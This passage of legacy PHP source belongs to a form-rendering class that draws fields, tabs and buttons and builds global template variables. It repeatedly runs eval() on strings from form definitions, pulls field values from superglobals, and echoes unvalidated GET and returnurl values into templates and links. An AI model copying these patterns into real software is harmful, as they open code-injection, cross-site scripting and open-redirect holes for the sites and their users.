"complex_eval": if (isset($field["default"])) eval($field["default"]); break; case "value": $field["value"] = $values["values"][$field["default"]]; break; default: $field["value"] = $field["default"]; break; } } else { $field["value"] = $values["values"][$field["name"]]; } //somtimes i may want to force a specific value nomatter of what is already set if (isset($field["forcevalue"])) { switch ($field["action"]) { case "eval": // echo $field["forcevalue"]; eval("\$field[\"value\"] = " . $field["forcevalue"] . ";"); break; default: $field["value"] = $field["forcevalue"]; break; } } //!!!!!!!!!!!!!!!!!!!!!! // // might be a gix but as well may fuck everithing // $field["value"] = "test";str_replace("&amp;","&",$field["value"]); //load data from external files if ((($field["type"] != "image")&&($field["type"] != "upload")) && is_array($field["file"]) && !($values["values"][$field["name"]]) && file_exists($_CONF["path"] . $_CONF["upload"] . $field["file"]["path"] . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"])) { $field["value"] = GetFileContents($_CONF["path"] . $_CONF["upload"] . $field["file"]["path"] . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"]); } //prepare the description for fields if (is_array($field["description"])) { switch ($field["description"]["type"]) { case "file": $_description = GetFileContents(dirname($form["xmlfile"]) . "/" . $field["description"]["file"]); if ($field["description"]["html"] != "true") { $_description = htmlspecialchars($_description); } break; } $field["description"] = $_description; } else { if (isset($field["description"])) $field["description"] = nl2br((str_replace("]" , ">" , str_replace("[" , "<" , $field["description"])))); } //strip the slashes from the value // $field["value"] = stripslashes($field["value"]); //checking if this file is a referer, and if i have to show the referers at this point if (! $draw_referer && (($field["referer"]) || ($field["multiple"] == "true"))) return ""; //parse the field for special events, onkeyup, down etc... $this->__private__handlers(&$field); //parse the fields form editable=false if ($field["editable"] == "false") { switch ($field["type"]) { case "textbox": case "textarea": $field["type"] = "text"; $field["required"] = $field["unique"] = $field["validate"]; unset($field["description"]); break; } } //drawing the form elements switch ($field["type"]) { case "checkIMG" : $field["required"] = "true"; $field["validate"] = "A:8:8"; $current_field = $this->templates->blocks["imgCheck"]->Replace($field); break; case "phone": $current_field = $this->__field__phone( &$field , &$values ) ; break; case "textarea": $current_field = $this->__field__textarea(&$field , &$values ); break; case "file": $current_field = $this->__field__file(&$field , &$values); break; case "colorpicker": case "password": case "textbox": $current_field = $this->__field__textbox(&$field , &$values); break; case "sql": $this->__field__sql(&$field , &$values ); case "text": // $field["value"] = $field["html"] == "true" ? $field["value"] : nl2br(htmlentities($field["value"])); $current_field = $this->__field__text(&$field , &$values); break; case "hidden": $current_field = $this->__field__hidden(&$field , &$values ); $current_field_extra = ""; break; case "button": $current_field = $this->__field__button(&$field , &$values); break; case "checkbox": $current_field = $this->__field__checkbox(&$field , &$values); break; case "radiolist": case "radio": $field["radio"] = "true"; $field["type"] = "radio"; if (!isset($field["empty_text"])) $field["empty_text"] = $this->__default["show"]["radio"]["empty_text" . ($field["editable"] == "false" ? "_show" : "")]; case "checklist": if ($field["type"] == "checklist") { $field["checkbox"] = "true"; $field["radio"] = ""; $field["empty"] = ""; $field["multi"] = "true"; } case "relation": if ($field["type"] == "relation") $field["editable"] = "false"; case "double": case "doubleselect": if ( ($field["type"] == "doubleselect") || ($field["type"] == "double")) { $field["double"] = "true"; $field["multi"] = "true"; } case "USstates": case "usstates": case "droplist": case "countries": case "CAstates": case "castates": case "ROstates": case "timezone": case "timezones": case "rostates": $current_field = $this->__field__droplist(&$field , &$values ); break; case "upload": case "image": switch (_FORMS_SETTINGS_FIELD_IMAGE_UPLOAD) { case "html": $current_field = $this->__field__image_html(&$field , &$values ); break; case "flash": $current_field = $this->__field__image(&$field , &$values ); break; } break; case "comment": $current_field = $this->__field__comment(&$field , &$values , $form); break; case "date": $current_field = $this->__field__date(&$field , &$values ); break; case "multiple": //cheking for multiple ellements if (is_array($field["multiple"])) { foreach ($field["multiple"] as $key => $val) { $current_field .= $this->DrawElement($form , $key , $values , 1); } } break; case "ccard": case "creditcard": $current_field = $this->__field__creditcard(&$field , &$values); break; case "namesort": $current_field = $this->__field__namesort(&$field , &$values ); break; case "calendar": $current_field = $this->__field__calendar(&$field , &$values); break; } //if the field hs description then i add the valign code $current_field_extra = $field["valign"] && !$field["hidden"]? $this->templates->blocks["TopAlign"]->output : ""; //add the link if exists if ($field["link"]) { $tmp_tpl = new Ctemplate( '<a href="' . $field["link"] . '">' . $current_field . '</a>' , "string"); $current_field = $tmp_tpl->Replace($values["values"]); } if ($field["hidden"] != "true") { if (is_array($field["help"])) { $element["_helptopic"] = $this->templates->blocks["ElementHelpTopic"]->Replace(array( "location" => ($field["help"]["location"] == "module" ? dirname($form["xmlfile"]) . "/" : "") . $field["help"]["file"] )); } else $element["_helptopic"] = ""; //checking if this element isnt a referer if (!isset($field["referer"])) { //building the element structure ( title, description, etc ) $element["title"] = $field["title"]; //add the id used for javascript thingx $element["name"] = str_replace("[]" , "" , $field["name"]); $element["_end_char"] = $field["title"] ? ":" : ""; $element["align"] = $field["align"] ? $field["align"] : "left"; //replacing ]n with <br> in descriptions $field["description"] = $field["description"]; $element["_description"] = $field["description"] ? $this->templates->blocks["Description"]->Replace($field) : ""; $element["_description_rowspan"] = $field["description"] ? $this->templates->blocks["DescriptionRowspan"]->output : ""; $element["_element"] = $current_field; //cheking if this element has referers if (!is_array($field["referers"]) && isset($field["referers"])) { $tmp = explode("," , $field["referers"]); if (is_array($tmp)) { $field["referers"] = array(); foreach ($tmp as $_tmp => $referer) { $field["referers"][$referer] = "true"; //alter the form too $form["fields"][$field["name"]]["referers"][$referer] = "true"; } } } if (is_array($field["referers"])) { $_cnt = 0; foreach ($field["referers"] as $key => $val) { //also alter the fields which are used as referers if (is_array($form["fields"][$key])) { $form["fields"][$key]["referer"] = $field["name"]; } $element["_element"] .= ($_cnt == 0 ? "" : '<td width="5"><img width=5 height=0></td>') . '<td>' . $this->DrawElement($form , $key , $values , 1) . "</td>"; $_cnt ++; } $element["_element"] = '<table cellspacing="0" cellpadding="0"><tr><td>' . $element["_element"] . "</tr></table>"; } //adding the preffix and suffix $element["_suffix"] = $field["suffix"]; $element["_preffix"] = $field["preffix"]; $element["_extra"] = $current_field_extra; $element["_extra_code"] = $field["_extra_code"]; $element["_required"] = $field["required"] == "true" ? trim($this->templates->blocks["RequiredMark"]->output) : ""; $element["_required_error"] = $values["errors"][str_replace("[]" , "" , $field["name"])] ? trim($this->templates->blocks["Required"]->output) : ""; //alternante style for each element if ($form["alternance"] == "true") { $this->_tmpAlternance = $this->_tmpAlternance ? 0 : 1; $element["_alternance"] = $this->_tmpAlternance ? "Alt" : ""; } else $element["_alternance"] = ""; //do a check and reverse the alternance if (($form["alternance_comment"]=="false") && ($field["type"] == "comment")) { $this->_tmpAlternance = $this->_tmpAlternance ? 0 : 1; $element["_alternance"] = $this->_tmpAlternance ? "Alt" : ""; } if (($field["multiple"] == "true") && $draw_referer ){ return $this->templates->blocks["ElementMultipleBody"]->Replace($element); } if ($field["type"] == "multiple") { if ($form["alternance"] == "true") { $this->_tmpAlternance = $this->_tmpAlternance ? 0 : 1; $vars["_alternance"] = $this->templates->blocks["Alternance" . $this->_tmpAlternance]->output; $this->templates->blocks["Temp"]->input = $this->templates->blocks["ElementMultiple"]->Replace($element); return $this->templates->blocks["Temp"]->Replace($vars); } else return $this->templates->blocks["ElementMultiple"]->Replace($element); } if ($field["extend"] != "true") { switch ($field["type"]) { case "subtitle": return $this->templates->blocks["Subtitle"]->Replace($element); break; case "comment": return $current_field; break; default: return $this->templates->blocks["Element"]->Replace($element); break; } } else { //change since version 0.7, //added the title block separed then the main one if (is_object($this->templates->blocks["ExtendElementTitle"])) { if ($element["title"]) $element["element_title"] = $this->templates->blocks["ExtendElementTitle"]->Replace($element); else $element["element_title"] = ""; } else { $element["element_title"] = ""; } return $this->templates->blocks["ExtendElement"]->Replace($element); } } else { //adding the preffix and suffix $element["_suffix"] = $field["suffix"]; $element["_preffix"] = $field["preffix"]; $element["_element"] = $current_field; //if the element is only a referer return only the form return $draw_referer ? $this->templates->blocks["ElementReferer"]->Replace($element): ""; } } else { return $current_field; } } /** * description * * @param * * @return * * @access */ function DrawTabsRow($tabs , $first = 0) { global $base; if (is_array($tabs)) { $count = 1; $active = false; //restriction checker foreach ($tabs as $key => $val) { if ($val["restricted"] && $this->__isRestricted($val["restricted"])) { //remove the tab unset($tabs[$key]); } } foreach ($tabs as $key => $val) { if ($active == true) { $active = false; $tabs[$key]["afteractive"] = "true"; } else $tabs[$key]["afteractive"] = "false"; $tabs[$key]["last"] = ($count == count($tabs) ? "true" : "false"); $tabs[$key]["active"] = $val["active"] == "true" ? "true" : "false"; $tabs[$key]["width"] = $val["width"] ? $val["width"] : "50"; $tabs[$key]["icon"] = $val["icon"]; $tabs[$key]["onmouseover"] = $val["onmouseover"]; $tabs[$key]["onmouseout"] = $val["onmouseout"]; $tabs[$key]["id"] = $key; $tabs[$key]["link"] = $val["link"]; $tabs[$key]["firstrow"] = $first == 0 ? "true" : "false"; if ($val["active"] == "true") $active = true; $count ++; } return $base->html->Table($this->templates,"Tabs",$tabs); } else return ""; } /** * description * * @param * * @return * * @access */ function DrawTabs($tabs) { global $base; if (is_array($tabs)) { if (is_array($tabs["groups"])) { $count = 0; foreach ($tabs["groups"] as $key => $val) { $return .= $this->DrawTabsRow($val , $count); $count ++; } return $return; } else return $this->DrawTabsRow($tabs); } else return ""; } /** * description * * @param * * @return * * @access */ function Show($form = array(), $values = array() , $extra = array()) { global $_CONF , $_USER, $_SESS, $form_errors; if (is_array($form)) $form = $this->Process($form); else $form = $this->form; //values structure /* <values> <error>Field already exists</error> <fields> <name>jon doe</name> <address>eartch </earth> ... </fields> </values> */ if (is_array($form["vars"])) { foreach ($form["vars"] as $key => $val) { //echeking if the default must be evaluated if ($val["action"] == "eval") { eval("\$val[\"import\"] = " . $val["default"] .";"); } switch ($val["type"]) { case "eval": eval("\$tpl_vars[\"$key\"] = " . $val["import"] . ";"); break; case "value": $tpl_vars[$key] = $values["values"][$val["import"]]; break; case "complex_eval": eval($val["import"]); break; case "var": $tpl_vars[$key] = $val["import"]; break; } } } // force the alternance to be allsways on // $form["alternance"] = "true"; $tpl_vars = array_merge((array)$tpl_vars , $globalvars = $this->GlobalVars($form)); //add a new form element for the return to previous page if (!is_array($form["fields"]["returnurl"]) && ($tpl_vars["self.previous"] != "")) $form["fields"]["returnurl"] = array( "type" => "hidden", "default" => $globalvars["self.previous_enc"] ); if (is_array($form["fields"])) { foreach ($form["fields"] as $key => $field) { //checking for <code> field if (!$field["name"]) $form["fields"][$key]["name"] = $key; if ($field["protected"] && $values["values"][$field["protected"]] && ($field["showprotected"] == "true")) { //do some forms replacement $form["fields"][$key]["type"] = "text"; $form["fields"][$key]["validate"] = ""; $form["fields"][$key]["required"] = ""; $form["fields"][$key]["unique"] = ""; $form["fields"][$key]["description"] = ""; unset($field["protected"]); } //check to see if it isnt a protected field, usefull for admin if ($field["protected"] && $values["values"][$field["protected"]] || ($field["restricted"] && $this->__isRestricted($field["restricted"]))) { } else { //empty some variable for each field $element = array(); $current_field_extra = ""; $current_field = ""; //do a precheck for values, to load it from _POST, _GET _SESSION _FILE _COOKIE if (!@isset($values["values"][$field["name"]]) && @isset($GLOBALS[$field["get"]][$field["name"]])) { $values["values"][$field["name"]] = $GLOBALS[$field["get"]][$field["name"]]; } if (isset($extra["fields"][$key])) $form["fields"][$key]["_extra_code"] = $extra["fields"][$key]; else $form["fields"][$key]["_extra_code"] = ""; $form["_template_data"] .= $this->DrawElement($form , $key, &$values); } } } else $form["_template_data"] = ""; //adding the fucking buttons if (is_array($form["buttons"])) { foreach ($form["buttons"] as $key => $val) //checking not to be a setting group if (($key != "set") && (!($val["protected"] && $values["values"][$val["protected"]]))) { //making a small trick to replace some vars in links, i hate this $this->templates->blocks["Temp"]->input = $val["location"]; //replacing the values //also replaging the global variables defined for templates $this->templates->blocks["Temp"]->input = $this->templates->blocks["Temp"]->Replace($tpl_vars); $val["location"] = $this->templates->blocks["Temp"]->Replace($values["values"]); $val["location"] = CryptLink($val["location"]); $val["onmouseout"] = $val["onmouseout"]; $val["onmouseover"] = $val["onmouseover"]; $val["onclick"] = $val["onclick"]; $val["title"] = $val["title"]; $val["target"] = $val["target"]; $buttons .= $this->templates->blocks["Button"]->Replace($val); } if ( (($form["buttons"]["set"]["header"] == "true") && (count($form["buttons"])>1) ) || $form["subtitle"]) { $form["_header_buttons"] = $this->templates->blocks["HeaderButtons"]->Replace(array( "SUBTITLE" => ($form["subtitle"] ? $form["subtitle"] : "&nbsp;") , "BUTTONS" => $form["buttons"]["set"]["header"] == "true" ? $buttons : "&nbsp" ) ); } else $form["_header_buttons"] = ""; $form["_footer_buttons"] = $form["buttons"]["set"]["footer"] == "true" ? $this->templates->blocks["FooterButtons"]->Replace(array("BUTTONS" => $buttons)) : ""; } else { $form["_header_buttons"] = $form["_footer_buttons"] = ""; if (strlen($form["subtitle"])) { $form["_header_buttons"] = $this->templates->blocks["HeaderButtons"]->Replace(array( "SUBTITLE" => ($form["subtitle"] ? $form["subtitle"] : "&nbsp;") , "BUTTONS" => "&nbsp" )); } //return empty variable } //check and add the error message if ($values["error"]) $form["_error"] = $this->templates->blocks["Error"]->Replace(array("error" => $values["error"] )); else $form["_error"] = ""; //adduing the javascript to form $form["_pre_javascript"] = $form["javascript"]["pre"] ? "<script language=\"Javascript\">" . $form["javascript"]["pre"] . "</script>" : ""; $form["_after_javascript"] = $form["javascript"]["after"] ? "<script language=\"Javascript\">" . $form["javascript"]["after"] . "</script>" : ""; //adding the extra html $form["_pre_tabs"] = $this->DrawTabs($form["tabs"]); $form["_pre_html"] = (is_array($form["html"]["pre"]) && ($form["html"]["pre"]["type"] == "extern")) ? GetFileContents(dirname($form["xmlfile"]) . "/" . $form["html"]["pre"]["file"]) : html_entity_decode($form["html"]["pre"]); $form["_middle_html"] = (is_array($form["html"]["middle"]) && ($form["html"]["middle"]["type"] == "extern")) ? GetFileContents(dirname($form["xmlfile"]) . "/" . $form["html"]["middle"]["file"]) : html_entity_decode($form["html"]["middle"]); $form["_after_html"] = (is_array($form["html"]["after"]) && ($form["html"]["after"]["type"] == "extern")) ? GetFileContents(dirname($form["xmlfile"]) . "/" . $form["html"]["after"]["file"]) : html_entity_decode($form["html"]["after"]); //adding the pre extra and after extra $form["_pre_form"] = $extra["pre"]; $form["_after_form"] = $extra["after"]; //preprocess the post form //replace the form vars in the form action $this->templates->blocks["Temp"]->input = $form["action"]; $form["action"] = CryptLink($this->templates->blocks["Temp"]->Replace($tpl_vars)); //drawing the form $form["_template_data"] = $form["_template_data"] == "" ? "" : $form["_template_data"]; $form["_template_data"] = $this->templates->blocks["Form"]->Replace($form); //adding the border if ($form["border"] == "true") { $form["_template_data"] = $this->templates->blocks["Border"]->Replace( $form ); } // no need to check this, i'll have the tpl vars all the time // if (is_array($form["vars"])) { //doing a double replace, in case there are unreplaced variable sfom "vars" type $this->templates->blocks["Temp"]->input = $form["_template_data"]; $form["_template_data"] = $this->templates->blocks["Temp"]->Replace($tpl_vars); // } //adding the <form tag if ($form["formtag"] == "true") { $form["id"] = $form["id"] ? " id=\"" . $form["id"] . "\" " : ""; $form["encoding"] = $form["encoding"] ? $form["encoding"] : ""; $form["method"] = $form["method"] ? $form["method"] : "post"; $form["_template_data"] = $this->templates->blocks["Action"]->Replace( $form ); } return $this->__render($form["_template_data"] , $tpl_vars); } /** * description defines the list of the global vars * * @param * * @return * * @access */ function GlobalVars($form = array(), $_FROM = array()) { global $_CONF; // if no from was passed then get all the vars from get if (!count($_FROM)) $_FROM = &$_GET; if ($_GET["returnurl"]) $private_return = $_GET["returnurl"]; if ($_GET["returnURL"]) $private_return = $_GET["returnURL"]; if ($_POST["returnurl"]) $private_return = $_POST["returnurl"]; $return_enc = urlencode($private_return); $return_dec = urldecode($private_return); //do a check to be sure the decoded its valid $repl_count = 1; if ((substr($return_dec,0,1) != "/") && (strlen($return_dec) > 3)) while ( (substr($return_dec,0,1) != "/") && ($repl_count < 10 )) { $return_dec = urldecode($return_dec); $repl_count ++; } //do another check if (strstr($return_enc , '/')) $return_enc = urlencode($return_enc); $return = array ( "self.conf.url" => $_CONF["url"], //script file name "self.file" => $_SERVER["PHP_SELF"], //the mod prepared for url "self.mod" => $_FROM['mod'] ? 'mod=' . $_FROM['mod'] . '&' : '', //the sub prepared for url "self.sub" => $_FROM['sub'] ? 'sub=' . $_FROM['sub'] . '' : '', //the action prepared for url "self.action" => $_FROM['action'] ? 'action=' . $_FROM['action'] . '' : '', //mod value, got from get "self.var.mod" => $_FROM['mod'], //sub value, got from get "self.var.sub" => $_FROM['sub'], //action value, got from get "self.var.action" => $_FROM['action'], //record id from database "self.uid" => $form["table_uid"], //record id from database encoded with {} to b replaced "self.uidvar" => '{' . strtoupper($form["table_uid"]) . '}', //link with module and sub defined "self.link" => $_SERVER["PHP_SELF"] . "?" . ($_FROM['mod'] ? 'mod=' . $_FROM['mod'] . '&' : '') . ($_FROM['sub'] ? 'sub=' . $_FROM['sub'] . '&' : ''), //link with the record id "self.linkuid" => $_SERVER["PHP_SELF"] . "?" . ($_FROM['mod'] ? 'mod=' . $_FROM['mod'] . '&' : '') . ($_FROM['sub'] ? 'sub=' . $_FROM['sub'] . '&' : '') . $form["table_uid"] . "=" . '{' . strtoupper($form["table_uid"]) . '}', //address of the current page "self.location" => urlencode(urlencode($_SERVER["REQUEST_URI"])), //the title to apear in the box, depends of the action, edit or delete "self.title" => !$_FROM[$form["table_uid"]] || $_POST[$form["table_uid"]] ? "Add New " : "Edit ", //previus detected page ( link ) "self.previous" => $private_return ? $return_dec : $form_errors["NO_BACK_LINK"], //previous detected page encoded link "self.previous_enc" => $private_return ? $return_enc : $form_errors["NO_BACK_LINK"], //ALIAS TO THE SELF ONES, DEPRECATED "private.get_mod" => $_FROM["mod"], "private.get_sub" => $_FROM["sub"], "private.get_action" => $_FROM["action"], "private.table_uid" => $form["table_uid"], "private.value_uid" => '{' . strtoupper($form["table_uid"]) . "}", //the title to apear in the editable boxes "private.form_action_title" => !$_FROM[$form["table_uid"]] || $_POST[$form["table_uid"]] ? "Add New " : "Edit ", //previus detected page ( link ) "private.form_previous_page" => $private_return ? $return_dec : $form_errors["NO_BACK_LINK"], //previous detected page encoded link "private.form_previous_page_enc" => $private_return ? $return_enc : $form_errors["NO_BACK_LINK"], //DEPRECATED, will be removed in future versions "current_page" => urlencode(urlencode($_SERVER["REQUEST_URI"])) ); if (is_array($_GET)) { foreach ($_GET as $key => $val) { $return["global.get." . strtolower($key)] = $val; } } //autogenerate the reorder link if not exists if (!$form["urilinks"]["ajax.reorder-records"]) { //try to generate it from the storing link $form["urilinks"]["ajax.reorder-records"] = "{SELF.LINK}&action=ajax.reorder-records"; } //ajax.reorder-records //add the url links if (is_array($form["urilinks"])) { foreach ($form["urilinks"] as $key => $val) { $return["self.uri.$key"] = $val; } } //add the url links if (is_array($form["uridata"])) { foreach ($form["uridata"] as $key => $val) { $return["self.action.$key"] = $form["uridata"]["action"] . "=" . $val; $return["self.linkuid.$key"] = $return["self.linkuid"] . "&" . $return["self.action.$key"]; $return["self.link.$key"] = $return["self.link"] . "&" . $return["self.action.$key"]; } } //do a replace for the variables which are inside this variable //this is usefull whtn the generated variable looks like index.php?{SELF.MOD}... //use a temporary template, i hope this wont go to slow $tmp = new CTemplate(""); foreach ($return as $key => $val) { $tmp->input = $val; $return[$key] = $tmp->Replace($return); } return $return; } /** * description * * @param * * @return * * @access */ function __private__handlers($field) { $events = array( "tabindex" , "accesskey" , "onfocus" , "onblur" , "onselect" , "onchange" , "onclick" , "ondblclick" , "onmousedown" , "onmouseup" , "onmouseover" , "onmousemove" , "onmouseout" , "onkeypress" , "onkeydown" , "onkeyup" ); //check to see if find any existence of events in the field foreach ($events as $key => $val) { if (array_key_exists($val , $field)) $final[] = " {$val}=\"" . $field[$val] ."\" "; } if (is_array($final)) $field["handlers"] = implode("" , $final); else $field["handlers"] = ""; } /** * description * * @param * * @return * * @access */ function __private__showonly( $form = array(), $set = array ( "description" => TRUE, "comments" => TRUE ) ) { //if (!count($form)) // $form = $this->form; $form = CForm::Process($form); if (is_array($form["fields"])) { foreach ($form["fields"] as $key => $val) { //remove some of the fields unset($form["fields"][$key]["required"]); unset($form["fields"][$key]["validate"]); if (($set["description"] == TRUE) && ($val["type"] != "comment" )) unset($form["fields"][$key]["description"]); //set the field editable $form["fields"][$key]["editable"] = "false"; switch ($val["type"]) { case "textbox": case "textarea": $form["fields"][$key]["type"] = "text"; break; case "password": $form["fields"][$key]["type"] = "text"; $form["fields"][$key]["forcevalue"] = "**********"; break; case "comment": if ($set["comments"] == TRUE) unset($form["fields"][$key]); break; case "after_save": unset($form["fields"][$key]); break; } } } return $form; } /** * description * * @param * * @return * * @access */ function __private_generate_field($val) { return array( "type" => $val["item_type"], "title" => $val["item_set_title"] ? "" : $val["item_title"], "description" => $val["item_description"], "size" => $val["item_type"] == "textbox" ? $val["item_size_cols"] : ($val["item_type"] == "textarea" ? $val["item_size_cols"] . ":" . $val["item_size_rows"] : ""), "options" => $val["options"], "padding" => $val["item_type"] == "comment" ? "20" : "", "empty" => $val["item_type"] == in_array($val["item_type"] , array("droplist" , "radiolist" , "checklist" , "usstates" , "rostates" , "castates")) ? "true" : "", "required" => $val["item_required"] ? "true" : "", "validate" => strtoupper($val["item_required_type"]) . ":" . $val["item_required_size_min"] . ":" . $val["item_required_size_max"], "preffix" => $val["item_set_preffix"], "suffix" => $val["item_set_suffix"], "checked" => $val["item_type"] == "checkbox" ? "1" : "", //show the value only if is a details view // "value" => $__answer ? $__values[$val["item_id"]] : "", "label" => $val["item_set_label"], "empty" => $val["item_set_radio_empty"] ? "true" : "", "newline" => $val["item_set_radio_line"] ? "true" : "false" ); } /** * description * * @param * * @return * * @access */ function __private_tree($records , $parent , $record_id , $parent_field , $separator , $level = 0 , $full = array() , $location = array()) { if ($level && ($full["full"]!="true")) { for ($i = 1; $i<= $level; $i++) { $sep .= $separator; } } if (is_array($records)) { foreach ($records as $key => $val) { if ($val[$parent_field] == $parent) { $val["separator"] = $sep; if ($full["full"] == "true") { //$location[] = $val[$full["field"]]; $tmp = $location; $tmp[] = $val[$full["field"]]; $val[$full["field"]] = implode($separator , $tmp); } $_records[] = $val; $_records = array_merge((array)$_records , (array)CForm::__private_tree($records , $val[$record_id] ,$record_id , $parent_field , $separator , $level+1 , $full , $tmp)); } } } if ($level == 0) { // debug($_records,1); } return $_records; } /** * description * * @param * * @return * * @access */ function ProcessVariables($form , $input) { $form = CForm::Process($form); if (is_array($form["fields"])) { foreach ($form["fields"] as $key => $val) { switch ($val["type"]) { case "ccard": case "creditcard": case "phone": if (is_array($input[$key . "_arr"])) { $input[$key] = trim(implode("" , $input[$key . "_arr"] )); } break; case "checkbox": $input[$key] = $input[$key] ? $input[$key] : "0"; break; case "date": $__date = mktime($input[$key . "_hour"] , $input[$key . "_min"] , $input[$key . "_sec"] , $input[$key . "_month"] , $input[$key . "_day"] , $input[$key . "_year"]); if ($__date > 1000) { $input[$key] = $__date; } else $input[$key] = 0; break; case "checklist": $val["multi"] = "true"; if (is_array($input[$key])) $input[$key] = implode("," , $input[$key]); else $input[$key] = ""; break; case "droplist": case "radiolist": case "double": case "doubleselect": case "countries": case "usstates": case "states": case "rostates": case "castates": if (is_array($input[$key])) $input[$key] = implode("," , $input[$key]); /* DEPRECATED if ($val["subtype"] == "multiple") { //detect the fields which should be available for this field if (is_array($_POST)) { foreach ($_POST as $k => $v) { if (strstr($k , $key . "_option_")) { $option[] = $v; } } //ok, now build the result if (is_array($option)) { $_POST[$key] = implode($val["tree"]["db_separator"],$option); } else { $_POST[$key] = ""; } } else { } } */ break; case "calendar": //check if isnt timestamp if ((strlen($input[$key]) == 10) && (((int)$input[$key] == $input[$key]) && ($input[$key] > 1000))) { } else { if (isset($input[$key])) { //check if this is a string if (strlen($input[$key]) == 10) { $tmp["m"] = substr($input[$key],0,2); $tmp["d"] = substr($input[$key],3,2); $tmp["y"] = substr($input[$key],6,4); } if ((strlen($input[$key]) == 16) && ($val["calendar"]["time"] == "true")) { $tmp["m"] = substr($input[$key],0,2); $tmp["d"] = substr($input[$key],3,2); $tmp["y"] = substr($input[$key],6,4); $tmp["h"] = substr($input[$key],11,2); $tmp["i"] = substr($input[$key],14,2); } if (is_array($tmp) && count($tmp)) { //check for european date style if ($_CONF["settings"]["locale"] == "eu"){ $tmp["_"] = $tmp["m"]; $tmp["m"] = $tmp["d"]; $tmp["d"] = $tmp["_"]; } //generate the time based on m/d/Y if (count($tmp) == 3) { $input[$key] = mktime(0 , 0 , 0 , $tmp["m"] , $tmp["d"] , $tmp["y"]); } //generate the time based on m/d/y h.m if (count($tmp) == 5) { $input[$key] = mktime($tmp["h"] , $tmp["i"] , 0 , $tmp["m"] , $tmp["d"] , $tmp["y"]); } } } } if ($input[$key] < 1000) $input[$key] = 0; if ($input[$key]) { $input[$key . "_hour"] = date("H" , $input[$key]); $input[$key . "_min"] = date("i" , $input[$key]); $input[$key . "_sec"] = date("s" , $input[$key]); $input[$key . "_month"] = date("m" , $input[$key]); $input[$key . "_day"] = date("d" , $input[$key]); $input[$key . "_year"] = date("Y" , $input[$key]); } break; } } } return $input; } /** * description * * @param * * @return * * @access */ function __isRestricted($data) { global $_MODULES; if (strpos($data , "eval:") === 0) { eval("\$result = " . substr($data , 5) ); return $result; } } /** * description * * @param * * @return * * @access */ function ProcessItems($items , $relations) { if (is_array($items)) { foreach ($items as $key => $val) { $items[$key] = CForm::ProcessItem($val , $relations); } } return $items; } /** * description * * @param * * @return * * @access */ function ProcessItem($item , $relations) { if (is_array($item)) { foreach ($item as $k => $v) { if ($relations[$k]) { $relation = $relations[$k]; //detect the type of the relation switch ($relation["type"]) { case "date": if ($v) $item[$k] = date($relation["params"] , $v); else $item[$k] = $relation["default"] ? $relation["default"] : "N/A"; break; case "price": $item[$k] = number_format($item[$k],2); break; case "options": $item[$k] = $relation["options"][$v]; break; case "bbcode": $bbc = new CBBCode(); if ($relation["tpl"]) { $bbc->language_tpl = $relation["tpl"]; } $item[$k] = $bbc->Convert($v , $relation["lang"]["default"]); break; } if ($relation["maxchars"]) { if (strlen($item[$k]) > $relation["maxchars"]) { $item[$k] = substr($item[$k] , 0 , $relation["maxchars"] ) . "..."; } } } } } return $item; } /* FIELDS DEFINITIONS */ /** * description * * @param * * @return * * @access */ function __field__droplist($field , $values) { global $form_US_states, $form_RO_states, $form_CA_states, $form_countries, $form_timezones; if ($field["newline"] == "false") { $field["line_bottom"] = ""; $field["line_top"] = ""; } else { $field["line_bottom"] = $this->templates->blocks["CheckBoxOption_line_bottom"]->output; $field["line_top"] = $this->templates->blocks["CheckBoxOption_line_top"]->output; } if (!isset($field["emptymsg"])) $field["emptymsg"] = $this->__default["show"]["droplist"]["empty_text" . ($field["editable"] == "false" ? "_show" : "")]; if (!isset($field["empty_text"])) $field["empty_text"] = $this->__default["show"]["droplist"]["empty_text" . ($field["editable"] == "false" ? "_show" : "") ]; //select multiple values for the complex selects if (($field["multi"]||$field["double"]) && !is_array($field["value"])) $field["value"] = explode("," , $field["value"]); $values["values"]["original_" . $field["name"]] = $field["value"]; switch ($field["type"]) { case "USstates": case "states": case "usstates": $field["options"] = $form_US_states; break; case "ROstates": case "rostates": $field["options"] = $form_RO_states; break; case "CAstates": case "castates": $field["options"] = $form_CA_states; break; case "countries": $field["options"] = $form_countries; break; case "relation": $field["editable"] = "false"; break; case "timezones": case "timezone": $field["options"] = $form_timezones; break; } //if is set use text then dont use the small names INSTED of CA use CANADA if (($field["usetext"] == "true") && (is_array($field["options"]))) { foreach ($field["options"] as $key => $val){ unset($field["options"][$key]); $field["options"][$val] = $val; } //$_field["options"][$val] = $val; //$field["options"] = $_field["options"]; } //if editable false change the type in relation ( non editable ) if ($field["editable"] == "false") $field["type"] = "relation"; //clearign vals $temp_options = ""; //check if the options are generated dinamic if (is_array($field["dynamic"])) { if ($field["dynamic"]["from_type"] == "eval") { eval( "\$field[\"dynamic\"][\"from\"] = " . $field["dynamic"]["from"] . ";"); } if ($field["dynamic"]["from"] > $field["dynamic"]["to"]) for ($i = $field["dynamic"]["from"]; $i>= $field["dynamic"]["to"]; $i-- ) { $field["options"][$i] = $field["dynamic"]["width"] ? sprintf("%0" . $field["dynamic"]["width"] . "d", $i) : $i; } else for ($i = $field["dynamic"]["from"]; $i<=$field["dynamic"]["to"]; $i++ ) { $field["options"][$i] = $field["dynamic"]["width"] ? sprintf("%0" . $field["dynamic"]["width"] . "d", $i) : $i; } } ### if (is_array($field["relation"])) { if (is_array($field["relation"]["sql"])) { if (is_array($field["relation"]["sql"]["vars"])) { $form_sql_vars = array(); foreach ($field["relation"]["sql"]["vars"] as $key => $val) { //echeking if the default must be evaluated if ($val["action"] == "eval") { eval("\$val[\"import\"] = " . $val["default"] .";"); } switch ($val["type"]) { case "eval": eval("\$form_sql_vars[\"$key\"] = " . $val["import"] . ";"); break; case "var": $form_sql_vars[$key] = $val["import"]; break; case "table": $form_sql_vars[$key] = $val["import"] ? $this->tables[$val["import"]] : $this->tables[$form["table"]]; break; case "page": $form_sql_vars[$key] = ($_GET[($val["code"] ? $val["code"] : 'page')] -1 )* $form['items']; break; case "form": eval("\$form_sql_vars[\"$key\"] = " . $form[$val["var"]] . ";"); break; } } foreach ($form_sql_vars as $key => $val) { $this->templates->blocks["Temp"]->input = $val; $form_sql_vars[$key] = $this->templates->blocks["Temp"]->Replace($form_sql_vars); } //doing a double replace, in case there are unreplaced variable sfom "vars" type $this->templates->blocks["Temp"]->input = $field["relation"]["sql"]["query"]; $sql = $this->templates->blocks["Temp"]->Replace($form_sql_vars); //do a precheck for [] elements to be replaced with <> 